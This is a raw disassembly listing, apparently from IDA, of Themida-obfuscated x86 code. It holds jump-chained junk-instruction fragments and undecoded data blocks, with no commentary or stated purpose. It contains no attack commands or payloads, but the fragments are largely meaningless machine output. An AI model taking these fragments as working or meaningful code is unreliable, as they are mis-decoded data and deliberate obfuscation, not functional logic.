		mov	eax, 4BC91FD8h
		not	eax
		push	edx
		jmp	loc_561866
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4832424h,	68580424h, 4666h, 0BD242C89h, 3FFE776Ch
		dd 8898C581h, 8957C001h, 4C781E7h, 83000000h, 3C8704EFh
		dd 0CECCE924h, 0DF89FFFEh, 0FFF830E9h, 33E954FFh, 33FFFFB7h
		dd 1CE92404h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5641DB:				; CODE XREF: Themida_:005636E2j
		push	esi
		mov	esi, edi
		mov	ebx, esi
		pop	esi
		pop	edi
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55DB21
; ---------------------------------------------------------------------------


loc_5641F0:				; CODE XREF: Themida_:0055E29Cj
		add	ecx, 11C34782h
		sub	ecx, 5B340432h
		dec	ecx
		push	ebx
		jmp	loc_5610E7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8904EC83h, 0E9542414h, 0FFFFA944h
; ---------------------------------------------------------------------------


loc_564210:				; CODE XREF: Themida_:0055175Aj
		mov	[esp], eax
		push	0F33h
		jmp	loc_56522F
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 0Bh
		dd 0E924BD61h, 0FFFFDEFCh
; ---------------------------------------------------------------------------


loc_564228:				; CODE XREF: Themida_:005515A9j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_562F6F
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 4
		dd 5F15CE81h, 0C6813AC6h, 0CB421377h, 0FFFC8CE9h, 81F701FFh
		dd 0D44CDAEFh, 0AA685E49h, 0E9000016h, 0FFFFDADDh, 1CE9D129h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564267:				; CODE XREF: Themida_:00554F9Fj
		dec	eax
		jmp	loc_562FF6
; ---------------------------------------------------------------------------
		db 87h,	0DEh, 0F7h
		dd 4AB7E9D3h, 0C89FFFFh, 2474FF24h, 6EE95904h
		db 8Fh,	2 dup(0FFh)
byte_564283	db 66h			; DATA XREF: Themida_:005507F0o
		dd 52240C8Bh, 0C2815A54h, 4, 3304EA83h,	13E92414h, 81FFFF1Dh
		dd 4C4h, 0A44BE900h, 0D8F7FFFFh, 913AEE25h, 50AB3515h
		dd 0C70170F0h, 83DF0158h, 48904ECh, 5A21B824h, 0C7296061h
		dd 0FF8CFCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5642C9:				; CODE XREF: Themida_:00552F9Aj
		mov	ebx, esp
		jmp	loc_5651FA
; ---------------------------------------------------------------------------
dword_5642D0	dd 4EC81ADh, 89000000h,	6856241Ch, 61665ADAh, 5E2434FFh
					; DATA XREF: Themida_:005506ECo
		dd 81E38953h, 4C3h, 0BE565100h,	4, 15EF189h, 1C8759CBh
		dd 24248B24h, 1582E9h, 2474FF00h, 240C8B04h, 8F04C483h
		dd 0E95C2404h, 0B2Bh, 0C7FE5966h, 0FF95E8E9h, 0FE95AFFh
		dd 8BFFFEEDh, 0C4812404h, 4, 2468h, 0E7A9E900h,	0E952FFFEh
		dd 0FFFFBD50h, 68241C89h, 2A13h, 0B2241489h, 804EB7AAh
		dd 0D70064EFh, 0FF64C780h, 2EE92434h, 1FFFFE5h,	33BF57D3h
		dd 0E92B1C1Bh, 0FFFFD7F9h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 0C31EF81h, 0CF015585h, 0C31C781h, 33595585h,	3C31243Ch
		dd 243C3324h, 0AB0F665Ch, 0E99C2404h, 0FFFFD360h
; ---------------------------------------------------------------------------


loc_5643A0:				; CODE XREF: Themida_:0055DA01j
		add	edx, 0C8A09A37h
		add	esi, edx
		jmp	loc_55CA74
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 25h
		dd 81070971h, 7FA9EDC1h, 5C28147h, 2958D740h, 5EA81CAh
		dd 0E958D740h, 0FFFFB956h, 0E924048Bh, 0FFFF56BCh
; ---------------------------------------------------------------------------


loc_5643D4:				; CODE XREF: Themida_:005659C8j
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebx, 4BD50BE1h
		add	ebx, edi
		sub	ebx, 4BD50BE1h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_560263
; ---------------------------------------------------------------------------


loc_564406:				; CODE XREF: Themida_:005584DFj
		pop	ecx
		mov	dl, al
		pop	eax
		pop	ebx
		pop	ax
		sub	bl, 66h
		sub	bl, 62h
		add	bl, dl
		add	bl, 62h
		push	ax
		mov	ah, 77h
		and	ah, 91h
		jmp	loc_55811F
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0B85004C4h, 2, 0FF76C5E9h, 243487FFh, 0FF3905E9h
		dd 242C89FFh, 3E2FD468h, 242C8B5Ah, 0E904C483h,	0FFFF57CAh
		dd 73B9EB81h, 0C581510Fh, 55571356h, 0FFA7F2E9h, 4BE56FFh
		dd 1000000h, 2E685EF0h,	8900003Fh, 74FF2404h, 48B0424h
		dd 0E2895224h, 4C281h, 0B8500000h, 4, 5258C201h, 42474FFh
		dd 24048F5Ah, 0FF2DAFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564499:				; CODE XREF: Themida_:00550C78j
		add	ebx, eax
		add	ebx, 36665965h
		mov	eax, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_552F99
; ---------------------------------------------------------------------------
word_5644B2	dw 8B66h		; DATA XREF: Themida_:00550760o
		dd 6DE92404h, 89FFFF69h, 4C781E7h, 81000000h, 4C7h, 373E900h
		dd 48F0000h, 24248B24h,	4F1968h, 242C8900h, 0FF4D2CE9h
		dd 48D0F7FFh, 0C43CF405h, 33F50513h, 0EDE924ABh, 33FFFED9h
		dd 248B2434h, 3CD36624h, 0ACE99C24h
		db 0C4h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564503:				; CODE XREF: Themida_:005561C3j
		sub	ecx, 9B06C2Ch
		add	ecx, esi
		add	ecx, 9B06C2Ch
		add	ecx, 25777AF2h
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_55AB31
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 8062325h, 148BD089h,	0EB57E924h, 0DDF7FFFFh,	269DBA52h
		dd 0D531304Ch, 0A6BA525Ah, 1640B70h, 0C26DE9D5h, 0EC83FFFFh
		dd 242C8904h, 216C8BBDh, 49C58166h, 0E97C513Fh,	179Ah
		dd 0E9C5895Ah, 0FFFEFD18h, 42474FFh, 0E924348Bh, 0FFFF4AB5h
		dd 0C431E95Ch, 525FFFFEh, 0FF6FA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564585:				; CODE XREF: Themida_:005586CFj
		mov	eax, ecx
		jmp	loc_556D3C
; ---------------------------------------------------------------------------
		dd 3FE9515Eh, 1FFFEE7h,	24048BC6h, 4C481h, 68550000h, 0B2Bh
		dd 68243C89h, 2, 0FFB0EBE9h, 0BE959FFh
		db 0FAh, 0FEh, 0FFh
byte_5645B7	db 0ADh			; DATA XREF: Themida_:005507B4o
		dd 0D109ED2Dh, 68D80110h, 4E34h, 0BF243C89h, 422B637Eh
		dd 11E4C781h, 0EFC1C4EBh, 0EC835606h, 243C8904h, 534DE1BFh
		dd 0B4E95355h, 81FFFECAh, 59DA98EBh, 5BDA29D9h,	0FFF022E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5645F5:				; CODE XREF: Themida_:00559989j
		push	eax
		mov	eax, 0AB32308h
		jmp	loc_562D00
; ---------------------------------------------------------------------------


loc_564600:				; CODE XREF: Themida_:00565328j
		not	edi
		sub	edi, 14AA0D44h
		dec	edi
		inc	edi
		add	edi, 0D2959748h
		add	edx, 7CE6BB6h
		add	edx, edi
		sub	edx, 7CE6BB6h
		mov	edi, [esp]
		jmp	loc_554F4E
; ---------------------------------------------------------------------------
		dw 5768h
		dd 89000013h, 81E92424h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564633:				; CODE XREF: Themida_:00565288j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55D6D0
; ---------------------------------------------------------------------------
		dw 0CFFEh
		dd 0EF80CFFEh, 8BFA284Ah, 0C481241Ch, 4, 0D5885150h, 0FF94DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564661:				; CODE XREF: Themida_:0055C9CEj
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_557009
; ---------------------------------------------------------------------------


loc_56466F:				; CODE XREF: Themida_:00563D4Ej
		shr	esi, 4
		and	esi, 38BF67E0h
		sub	esi, 1F2C15E3h
		jmp	loc_55AC32
; ---------------------------------------------------------------------------


loc_564683:				; CODE XREF: Themida_:00551792j
		pop	eax
		jmp	loc_55B8A9
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 0E9h
		dd 0FFFEDFD5h
; ---------------------------------------------------------------------------


loc_564690:				; CODE XREF: Themida_:00552701j
		push	6202h
		jmp	loc_565189
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFF0C69h
; ---------------------------------------------------------------------------


loc_5646A0:				; CODE XREF: Themida_:00560708j
		pop	esi
		sub	ecx, 3900202h
		jmp	loc_557DC3
; ---------------------------------------------------------------------------
		dd 53241489h, 318DBD55h, 3EE90712h, 52FFFF7Ah, 0D92BBDBAh
		dd 53D2E93Dh, 558FFFFh,	4, 0E904E883h, 0FFFF7F6Ah, 592434FFh
		dd 0FF8524E9h, 81EB29FFh, 226627EBh, 0E3B5E920h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5646EA:				; CODE XREF: Themida_:0056296Cj
		shr	ebp, 3
		shr	ebp, 8
		jmp	loc_5606CB
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 3B6568h, 241C8900h, 0B824B7BBh, 4E3C15Fh, 251BEB81h
		dd 24E95755h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564713:				; CODE XREF: Themida_:005604B6j
		push	ecx
		add	dword ptr [esp], 22B216E7h
		pop	ebx
		sub	ebx, 22B216E7h
		pop	ecx
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55D6B5
; ---------------------------------------------------------------------------
		dd 30CF381h, 0DBF74B70h, 3A36C381h, 0C3811770h,	42FCC737h
		dd 0FEF860E9h, 4B8FFh, 0C1890000h, 8BCD0158h, 8950240Ch
		dd 405E0h, 4050000h, 33000000h,	4312404h, 24043324h, 0FEFB88E9h
		dd 240C8BFFh, 0FFB288E9h, 73F381FFh, 13F5D7Bh, 8B04245Ch
		dd 0E955241Ch, 0FFFF465Eh
; ---------------------------------------------------------------------------


loc_56478C:				; CODE XREF: Themida_:00562F85j
		sub	ebx, 559453A8h
		jmp	loc_55C748
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 9CC1385Ch, 0FEC206E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5647A9:				; CODE XREF: Themida_:00558567j
		sub	edi, 0E5B4576h
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55EA82
; ---------------------------------------------------------------------------


loc_5647C1:				; CODE XREF: Themida_:0055A947j
		push	edx
		mov	edx, 4
		mov	ecx, edx
		jmp	loc_557E5F
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4ACABD24h, 0EA091840h, 0B2C2815Dh, 8118BA51h, 4A261BF2h
		dd 9CB8504Fh, 2937E163h, 3676E9C2h, 248BFFFFh, 48B6624h
		dd 0E7895724h, 0FF99B2E9h, 6B13BFFFh, 0C7E951EFh, 5AFFFED9h
		dd 0FFFD82E9h, 5AD601FFh, 2434335Fh, 33243431h,	248B2434h
		dd 28AC2C24h, 0ECB252D8h, 0C067CA80h, 0C2FE02E2h, 0FF7509E9h
		dd 0E18158FFh, 6F8A4F14h, 0FF6CFBE9h, 74FF57FFh, 8F5F0424h
		dd 815C2404h, 4D2C7CEAh, 0AD685762h, 8900006Eh,	8DBB241Ch
		dd 684BD647h, 6ED5h, 0B8240489h, 65225162h, 1F2F3A35h
		dd 5D8F77Dh, 6A29270Dh,	5507E8C1h, 61431FBDh, 0E9D5F705h
		dd 0FFFFC7DEh, 81E78957h, 4C7h,	0CE4DE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564896:				; CODE XREF: Themida_:005578E5j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	5DC975ECh
		jmp	loc_55D0E9
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 0FF7A76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5648B1:				; CODE XREF: Themida_:00557ABFj
		and	ecx, esi
		jmp	loc_55B6BF
; ---------------------------------------------------------------------------
		dd 2268BD55h, 0E9550DDAh, 0FFFF976Ah, 81DEF746h, 33C710C6h
		dd 5EF53154h, 0E95DEB89h, 0FFFF600Ch
; ---------------------------------------------------------------------------


loc_5648D8:				; CODE XREF: Themida_:0055E893j
		mov	[esp], bx
		mov	bh, 0B9h
		sub	dl, bh
		pop	bx
		jmp	loc_55F3A4
; ---------------------------------------------------------------------------
		db 0B1h
		dd 66C808A4h, 83240C8Bh, 0C0FE02C4h, 0D4E95366h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648FB:				; CODE XREF: Themida_:005599D1j
		push	edx
		jmp	loc_553488
; ---------------------------------------------------------------------------


loc_564901:				; CODE XREF: Themida_:00563612j
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_55A079
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 0C0C2815Dh, 297A6A51h, 0C0B850F2h, 297A6A51h, 80DCE9C2h
		dd 0E997FFFFh, 0FFFFEBBCh, 1EE95854h
		db 0DEh, 0FEh, 0FFh
byte_564933	db 0FFh			; DATA XREF: Themida_:00550914o
		dd 34FF2434h, 24048B24h, 4C481h, 54510000h, 0FFE328E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564949:				; CODE XREF: Themida_:0055C373j
		pop	esp
		push	ebx
		jmp	loc_55FC12
; ---------------------------------------------------------------------------


loc_564950:				; CODE XREF: Themida_:00565480j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	esi
		jmp	loc_557D0E
; ---------------------------------------------------------------------------
		dd 68h,	242C2900h, 69E9455Dh
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56496F:				; CODE XREF: Themida_:00558FA6j
		add	ebp, 4928309Dh
		pop	edi
		sub	ebp, 16B67A0Bh
		sub	ebp, 0DBEF43F9h
		and	eax, ebp
		pop	ebp
		shr	eax, 8
		xor	eax, ecx
		push	1D1Ah
		mov	[esp], eax
		jmp	loc_56314C
; ---------------------------------------------------------------------------


loc_564997:				; CODE XREF: Themida_:0055FD37j
		pop	ebx
		sub	dh, 47h
		jmp	loc_559734
; ---------------------------------------------------------------------------
aIH		db '┴<$h',0
aY		db 'Y',0
		align 4
		dd 0FF9819E9h, 69E95CFFh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5649B3:				; CODE XREF: Themida_:0056347Ej
		mov	eax, 1Ch
		push	eax
		pop	edx
		pop	eax
		push	6EC8h
		mov	[esp], ebx
		push	3D51h
		mov	[esp], edi
		jmp	loc_55A94C
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFB5AFh, 34FFFD89h, 0C4835F24h, 5DEB2904h
		dd 253DEF81h, 0DF01658Ch, 253DC781h, 34FF658Ch,	0C4835B24h
		dd 243C3304h, 0FF4712E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564A01:				; CODE XREF: Themida_:005572F9j
		add	ecx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3CD26B2Dh
		xor	eax, 21436F23h
		add	ecx, eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5533F0
; ---------------------------------------------------------------------------


loc_564A27:				; CODE XREF: Themida_:0055E8F5j
		push	esp
		pop	esi
		jmp	loc_55D59C
; ---------------------------------------------------------------------------
		dw 0FFBEh
		dd 81FFFFFFh, 183EA5EAh, 81F20138h, 183EA5C2h, 0C2835E38h
		dd 1FC281FFh, 0E926FE02h, 0FFFECAD9h, 0FEBF5AE9h, 4BBD55FFh
		dd 31636420h, 0AAD3E9EBh, 0E2C1FFFFh, 5E2C102h,	0FEFE6DE9h
		dd 241C8BFFh, 4C481h, 0BE040000h, 1BE9E800h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564A7F:				; CODE XREF: Themida_:0056235Ej
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 4Fh
		push	bx
		jmp	loc_559C73
; ---------------------------------------------------------------------------
		dd 0A9EA8166h, 0EA016672h, 0A9C28166h, 0C2816672h, 0E95D0285h
		dd 0FFFF27F5h
; ---------------------------------------------------------------------------


loc_564AA8:				; CODE XREF: Themida_:005610AEj
		xor	ebx, esi
		pop	esi
		or	ebx, 30B8062Bh
		push	edi
		mov	edi, 670B6F9Bh
		add	edi, 537B1A1h
		or	ebx, edi
		pop	edi
		shl	ebx, 2
		push	ebp
		mov	ebp, 838583DDh
		add	ebx, 54A012A6h
		add	ebx, ebp
		jmp	loc_556863
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF6E8Ah
; ---------------------------------------------------------------------------


loc_564ADC:				; CODE XREF: Themida_:005513A5j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 4
		add	edi, 4
		jmp	loc_560499
; ---------------------------------------------------------------------------
		db 81h
		dd 50A51C5h, 0E9215811h, 685Dh,	30E90000h, 8BFFFFB6h, 3BE9243Ch
		db 1Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B17:				; CODE XREF: Themida_:00551A0Ej
		push	eax
		mov	eax, 7CEB70E3h
		shl	eax, 2
		inc	eax
		add	eax, 0C523C73h
		mov	ebx, eax
		pop	eax
		jmp	loc_55F58F
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 2434FFD5h, 4C4835Ah,	4C581h,	0C7680000h, 89000004h
		dd 74FF242Ch, 2C8B0424h, 4C48324h, 8B24048Fh, 34FF2424h
		dd 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 0FF8329E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564B6D:				; CODE XREF: Themida_:0055A53Bj
		add	esp, 4
		sub	edx, 5E1E10FEh
		add	edx, 75FD0C74h
		sub	edx, 95832566h
		jmp	loc_552EB3
; ---------------------------------------------------------------------------
		dw 487h
		dd 85665C24h, 0C1E99CC8h, 81FFFFC4h, 4C3h, 3726800h, 0F8E90000h
		dd 0BDFFFF8Bh, 1A96366h, 834C581h, 0BA685184h, 89000010h
		dd 0BA522404h, 4A284C96h, 980DABB8h, 5AD03108h,	8158C529h
		dd 0CA4253EAh, 21C28109h, 294C0638h, 21EA81EAh,	814C0638h
		dd 0CA4253C2h, 0DFA1E909h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564BEA:				; CODE XREF: Themida_:0055EF71j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_563C2A
; ---------------------------------------------------------------------------
		db 29h
		dd 2434FFF0h, 5124348Bh, 0F6C8E954h, 0EE81FFFEh, 0DC45371h
		dd 0FF8B20E9h, 240C87FFh, 54E95D5Ch
		db 1Bh,	2 dup(0FFh)
byte_564C1F	db 0ACh			; DATA XREF: Themida_:00550810o
		dd 0F468D830h, 89000039h, 5250240Ch, 0BDE950B6h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564C33:				; CODE XREF: Themida_:0055837Aj
		mov	[esp], ebx
		mov	ebx, 7DBB08C8h
		sub	ebx, 7DBB08C4h
		jmp	loc_552F41
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 243C3324h, 0E924248Bh, 0FFFF07A2h, 2ED8359h,	8B242C87h
		dd 89662424h, 50512414h, 5E2C9EB0h, 5058C588h, 5266B8B4h
		dd 0C6E9E8B2h, 81FFFFB1h, 4C4h,	205FE900h, 1E2DFFFFh, 50C494Eh
		dd 0CEF3218h, 182DF029h, 50CEF32h, 0C494E1Eh, 8132E05h
		dd 0FD2EE908h, 405FFFFh, 0E9000000h, 0FFFF0C9Eh
; ---------------------------------------------------------------------------


loc_564CAC:				; CODE XREF: Themida_:005559F8j
		push	eax
		jmp	loc_551D34
; ---------------------------------------------------------------------------
word_564CB2	dw 77FFh		; DATA XREF: Themida_:005508ACo
		dd 19589D1Ch, 0E99C2404h, 0FFFEBCEFh
dword_564CC0	dd 240C8B66h, 0FFBD38E9h, 0CD8955FFh, 8B5DEF89h, 8956240Ch
					; DATA XREF: Themida_:00550948o
		dd 4C681E6h, 0E9000000h, 0FFFEC328h, 0BB045Ch, 6C3E9F0h
		dd 8B5A0000h, 0C481243Ch, 4, 4BB53h, 0DF010000h, 0FEF477E9h
		dd 240C8BFFh, 0FEE346E9h, 5DEE01FFh, 0FFED7AE9h, 2434FFFFh
		dd 0FFC43CE9h, 240489FFh, 0FFE0D2E9h, 4BFFFh, 0C3810000h
		dd 627C012Dh, 751EB81h,	0FB01780Bh, 79EF6852h, 6DE90000h
		dd 89FFFF03h, 0F74D5EF5h, 0D1A9E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D4A:				; CODE XREF: Themida_:0055EF14j
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 28h
		dd 89E958E6h
		db 17h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564D57:				; CODE XREF: Themida_:0055C3C5j
		add	esi, 17A578C7h
		shl	esi, 7
		jmp	loc_557DCB
; ---------------------------------------------------------------------------


loc_564D65:				; CODE XREF: Themida_:00557B20j
		and	ecx, ebx
		jmp	loc_55A896
; ---------------------------------------------------------------------------
		dd 5FFA295Bh, 0E9245789h, 0FFFFEB63h, 8B242C87h, 0EBE92424h
		dd 58FFFF77h, 535F5457h, 0FA73E957h, 0D0F7FFFFh, 0FEED2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D95:				; CODE XREF: Themida_:005522D4j
		mov	esi, 75991C12h
		push	edx
		jmp	loc_553BC3
; ---------------------------------------------------------------------------
		dd 0FE91B753h, 0E9CFFECFh, 0FFFF4C5Bh, 0FE95366h
		db 45h,	2 dup(0FFh)
byte_564DB3	db 0ADh			; DATA XREF: Themida_:005506D8o
		dd 0FFB096E9h, 241C33FFh, 0C89665Ch, 0B60F6624h, 9C5166C8h
		dd 0FEBBE2E9h, 368E68FFh, 1C890000h, 80E7B324h,	0EBC0CFEBh
		dd 0D957E905h, 0D2BDFFFEh, 81757379h, 672AB6E5h, 38E94D5Bh
		dd 66FFFFB2h, 3F0FE950h, 0DEBFFFFFh, 0E90B7664h, 0FFFEFE64h
; ---------------------------------------------------------------------------


loc_564E04:				; CODE XREF: Themida_:00564F35j
		push	4283h
		jmp	loc_55C081
; ---------------------------------------------------------------------------


loc_564E0E:				; CODE XREF: Themida_:00565191j
		mov	ecx, 2E2E92F5h
		jmp	loc_55B565
; ---------------------------------------------------------------------------
		dd 295BD801h, 78BF57D8h, 5322F342h, 0C02BE956h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564E2A:				; CODE XREF: Themida_:00558013j
		push	edx
		xor	dword ptr [esp], 443B308Bh
		pop	ebp
		jmp	loc_55EF6B
; ---------------------------------------------------------------------------


loc_564E38:				; CODE XREF: Themida_:0055192Bj
		pop	ecx
		sub	esi, edi
		pop	edi
		xor	esi, edx
		jmp	loc_559A0E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BD552404h, 4, 4246C01h, 81242C8Bh, 4C4h, 0C465E900h
		dd 2C8BFFFFh, 5E1E924h
		db 2 dup(0FFh)
word_564E66	dw 0EC83h		; DATA XREF: Themida_:00550708o
		dd 24148904h, 4EF968h, 93DAE900h, 0D9F7FFFFh, 0B8B85049h
		dd 319249D5h, 24048BC1h, 104C483h, 240C8BCBh, 0E904C483h
		dd 0FFFF902Ah, 815FFA01h, 4ECh,	0CD82E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EA2:				; CODE XREF: Themida_:00557DA5j
		push	edx
		jmp	loc_557972
; ---------------------------------------------------------------------------
		dd 80D3EB80h, 0C328A9EBh, 0E9A9C380h, 0FFFEEC7Bh, 872DD8F7h
		dd 12F184Dh, 0BD5558C1h, 98573EAh, 0FF5493E9h, 2474FFFFh
		dd 0CD1DE904h, 0BD55FFFFh, 7F1618E9h, 8107EDC1h, 0A50C04F5h
		dd 5DEE0106h, 24343358h, 33243431h, 248B2434h, 0EBBBE924h
		dd 21BAFFFFh, 5640D837h, 0FF99F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F05:				; CODE XREF: Themida_:005626DBj
		push	edx
		mov	edx, 683E3559h
		mov	ebp, edx
		pop	edx
		not	ebp
		inc	ebp
		push	edx
		mov	edx, 624A1BEFh
		xor	edx, 303749C3h
		jmp	loc_551862
; ---------------------------------------------------------------------------
		dw 5A5Bh
		dd 0FF56D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F29:				; CODE XREF: Themida_:00554B37j
		shr	ebp, 2
		push	ecx
		mov	ecx, 70240168h
		or	ebp, ecx
		pop	ecx
		jmp	loc_564E04
; ---------------------------------------------------------------------------


loc_564F3A:				; CODE XREF: Themida_:00552946j
		mov	eax, ebx
		pop	ebx
		pop	esi
		and	eax, 47994E6Dh
		jmp	loc_555144
; ---------------------------------------------------------------------------
		dd 0BD242C89h, 4, 2C8BEA01h, 4C48124h, 81000000h, 4C2h
		dd 24148700h, 0FF2738E9h
		db 0FFh
byte_564F69	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550744o
		dd 83240C8Bh, 50E904C4h, 0B9FFFFC1h, 40CC0FFCh,	0FFC5E9E9h
		dd 0BA525EFFh, 4, 0FFF2D3E9h, 4C481FFh,	0C0000000h, 0EC8003E4h
		dd 0F6D4F601h, 0D2F480DCh, 0FF93E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564FA5:				; CODE XREF: Themida_:00563E1Dj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_55F15C
; ---------------------------------------------------------------------------
		dd 5CBF575Dh, 0E911555Ah, 0FFFF7D84h, 4BEh, 2D34E900h
		dd 3C8BFFFFh, 4C48324h,	8B24048Fh, 4E92424h, 51FFFF70h
		dd 5EEABB53h, 0DBF7029Dh, 472DEB81h, 564B048Fh,	0CB5990BEh
		dd 5EF33184h, 18007AB9h, 8BD9297Ch, 7E9241Ch, 0F7FFFFA2h
		dd 0FE2FE9DDh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56500A:				; CODE XREF: Themida_:005619EDj
		pop	ecx
		jmp	loc_563AE1
; ---------------------------------------------------------------------------


loc_565010:				; CODE XREF: Themida_:00558676j
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55A16C
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 2BD5CF8Dh, 15AD589h,	8B04246Ch, 0C483242Ch, 24048F04h
		dd 0DEB68h, 24148900h, 4EC81h, 1C890000h, 24C26824h, 51E95230h
		dd 8BFFFF81h, 65E9240Ch
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56505F:				; CODE XREF: Themida_:0055F58Aj
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	2E250560h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	esi, 2E250564h
		mov	ebp, esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55C3CA
; ---------------------------------------------------------------------------
		dw 0F101h
		dd 4E9815Eh, 33000000h,	0C31240Ch, 240C3324h, 242C895Ch
		dd 42474FFh, 83242C8Bh,	48F04C4h, 24248B24h, 24040966h
		dd 0B8C5E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5650EA:				; CODE XREF: Themida_:00552341j
		add	edi, ecx
		jmp	loc_561AE1
; ---------------------------------------------------------------------------
		db 59h,	88h, 0E5h
		dd 8124048Bh, 4C4h, 0EBDAE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_565102:				; CODE XREF: Themida_:0055F022j
		mov	[esp], edi
		push	ecx
		mov	ecx, 199B09CDh
		jmp	loc_565CDE
; ---------------------------------------------------------------------------


loc_565110:				; CODE XREF: Themida_:005563F2j
		not	eax
		xchg	eax, edi
		push	edi
		sub	dword ptr [esp], 0FFFFFFFFh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		push	ecx
		jmp	loc_5586CA
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0C790E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


